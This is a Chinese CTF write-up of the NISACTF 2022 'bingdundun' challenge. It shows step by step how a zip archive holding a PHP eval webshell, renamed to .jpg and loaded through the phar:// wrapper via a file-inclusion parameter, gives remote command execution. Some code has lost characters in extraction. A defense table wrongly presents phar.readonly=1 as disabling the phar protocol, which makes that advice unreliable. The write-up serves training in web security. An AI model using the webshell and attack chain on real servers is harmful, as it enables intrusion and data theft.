CTF实战:手把手教你用phar伪协议绕过文件上传限制,拿下NISACTF 2022的bingdundun靶场
CTF实战从零攻破phar伪协议文件上传限制在网络安全竞赛中文件上传漏洞一直是高频考点。2022年NISACTF的bingdundun靶场巧妙结合了phar伪协议与文件包含漏洞为参赛者设置了典型挑战。本文将拆解这道题目的完整解题思路并深入剖析phar协议的技术细节。1. 靶场环境初步侦查打开题目链接后首先映入眼帘的是文件上传界面。系统提示仅允许上传图片或压缩包格式文件这是CTF中常见的限制条件。敏锐的选手会立即注意到URL中的GET参数bingdundun这是突破点的第一个线索。测试发现当传入?bingdundunindex时页面返回多个//index.php路径。这表明后台会自动为参数值添加.php后缀形成了潜在的文件包含漏洞。这种自动补全机制在PHP开发中并不罕见但若处理不当就会成为安全风险。提示在CTF比赛中仔细观察URL参数和页面响应细节往往能发现关键线索。开发者留下的注释、错误信息都可能成为突破口。2. phar伪协议技术解析phar(PHP Archive)是PHP特有的归档格式类似于Java的JAR包。自PHP 5.3起默认支持.phar后缀文件无需额外配置即可使用。其核心结构包括Stub文件头必须包含__HALT_COMPILER();语句前面可以添加任意内容。这使得phar文件可以伪装成其他格式?php __HALT_COMPILER(); ?Manifest区域存储压缩文件的元信息包括权限、属性等。这里也是phar反序列化攻击的关键点。文件内容区存放实际压缩的文件内容可以植入恶意代码。签名区(可选)支持MD5、SHA1等多种哈希算法验证文件完整性。phar协议的特殊之处在于它能解析多种压缩格式包括phar://- 原生phar格式zip://- ZIP压缩包bzip2://- Bzip2压缩zlib://- Zlib压缩3. 制作恶意压缩包实战要利用这个漏洞我们需要创建一个包含WebShell的压缩包。以下是具体步骤创建一句话木马文件shell.php?php eval($_POST[cmd]); ?使用ZIP工具压缩文件注意必须使用ZIP格式zip payload.zip shell.php将压缩包重命名为任意允许的后缀如.jpgmv payload.zip payload.jpg关键点在于phar协议不检查文件实际后缀名只要内容符合压缩格式即可解析。这使得我们可以绕过上传限制。4. 完整攻击链构建有了恶意压缩包后完整的攻击流程如下上传伪装成图片的ZIP压缩包获取服务器返回的文件存储路径如/uploads/payload.jpg通过文件包含漏洞触发phar解析?bingdundunphar://uploads/payload.jpg/shell注意无需添加.php后缀系统会自动补全成功执行RCE后使用POST请求发送命令POST /?bingdundunphar://uploads/payload.jpg/shell HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmdsystem(ls /);在服务器根目录查找flag文件cmdsystem(cat /flag);5. 常见误区与防御方案在实战中选手常会遇到以下问题压缩格式错误必须使用ZIP而非RAR格式路径处理不当phar路径需要包含内部文件名后缀名混淆虽然可以任意修改后缀但内容必须是有效压缩包对于防御方建议采取以下措施防御措施实施方法有效性文件内容检查使用getimagesize()验证图片真实性★★★★☆重命名上传文件生成随机文件名并去除原有后缀★★★☆☆禁用危险协议在php.ini中设置phar.readonly1★★★★★目录隔离将上传文件存放在非Web目录★★★★☆在CTF比赛中phar伪协议常与以下漏洞组合出现文件包含漏洞反序列化漏洞条件竞争漏洞理解这些技术的底层原理才能在不同场景中灵活运用。通过这道题目我们不仅掌握了phar协议的攻击方法更重要的是培养了安全研究的思维方式——从表面限制发现深层漏洞将多个知识点串联形成完整攻击链。